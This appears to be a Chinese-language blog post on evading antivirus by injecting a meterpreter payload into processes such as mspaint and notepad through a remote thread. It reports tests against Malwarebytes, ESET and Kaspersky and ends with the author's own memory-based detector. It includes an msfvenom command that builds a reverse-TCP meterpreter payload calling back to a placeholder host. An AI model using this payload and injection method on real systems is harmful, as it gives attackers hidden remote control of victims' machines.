导语:本文将阐述一个绕过杀毒软件防御将攻击载荷注入到内存当中的简单方法。
产生存放远程攻击线程的进程
在这篇文章中我不想一步一步解释我编写的C#代码,但是我会展示下它能够绕过杀毒软件,并且操作非常简单,而且实用。
首先说明一下:
1. 我是在三年前发现这个攻击方法的,当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒软件,只是在内存中可以找到,然后以系统权限运行。所以,当然是NSA干的咯! 2. 这并不意味着以0x0开始的进程都是进行恶意注入的。
就像刚才所说,我不会将我的”NativePayload_Tinjection.exe”代码分享出来,不过我会阐述下如何在C++,C#或者其他语言如何进行编写攻击poc。
下图中你可以看到当远程进程加载时发生了什么事情,他已经一步一步的展示出来。并且你可以使用C#或者其他语言提供的windowsAPI很简单的实现。
上图中的”evil.dll”是我们通过msfvenom生成的攻击载荷,在kali linux中可以使用以下命令:
Msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt
下一步骤就是将生成的payload通过新的线程注入到另外一个新的进程中去连接远程主机。
我接下来会将我写的代码进行免杀测试,使用最新的杀毒软件。我采用的实验环境是“Win 8.1”,杀毒软件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下来你可以看到,我是怎么简单绕过这三个杀毒软件。
实验一:测试Malwarebyte3.1.2 版本
通过注入线程,我们可以绕过杀软。在这个环境下,我的meterpreter payload通过TID为4268的线程注入到PID为2492的进程,名叫mspaint.exe中。
就像你在上图看到,当产生meterpreter 会话进程之后会在受害机中产生mspaint.exe进程。同时也可以发现TID为4268的线程开始地址为0X0。如果你结束掉TID 4268的线程,那么meterpreter会话就会立马结束。
实验二:测试ESET-Nod3210.1.204.0版本
下图中你可以看到,ESET已经更新到了最近版本”20170516”,不过并没有什么用,我同样将meterpreter攻击载荷通过TID 3932线程注入到了PID为3168的notepad进程中。
实验三:测试Kaspersky v17版本
同样,Kaspersky已经是最新版本v17.0.0.611,漏洞库为”20170516”。不过同样被绕过了。meterpreter通过TID 2932线程注入到了PID为1200进程中.
实验3-1:Kaspersky internet security v17 漏洞库05182017版本
同样被绕过了,即使杀毒软件显示:您的电脑正在被保护。
那么如何检测这种攻击呢?
我自己写了一个软件”Meterpreter_Payload_Detection.exe”,它会在内存识别meterpreter签名,进而发现后门,然后清除。
在下图中你可后门发现绕过ESET-Nod32杀毒软件之后,会被Meterpreter_Payload_Detection.exe拦截。所以个人感觉杀毒软件在内存扫描这一方面做的不是很完备。
上图中,你可以在我软件的界面找到注入到内存的进程,即PID为2116的进程,以及TID为2820的线程。
红颜色字体展示了在内存中扫描签名,当然这也许不是最好的方法检测恶意软件,但是到现在为止,这个工具针对内存检测做的比现有的杀毒软件要好。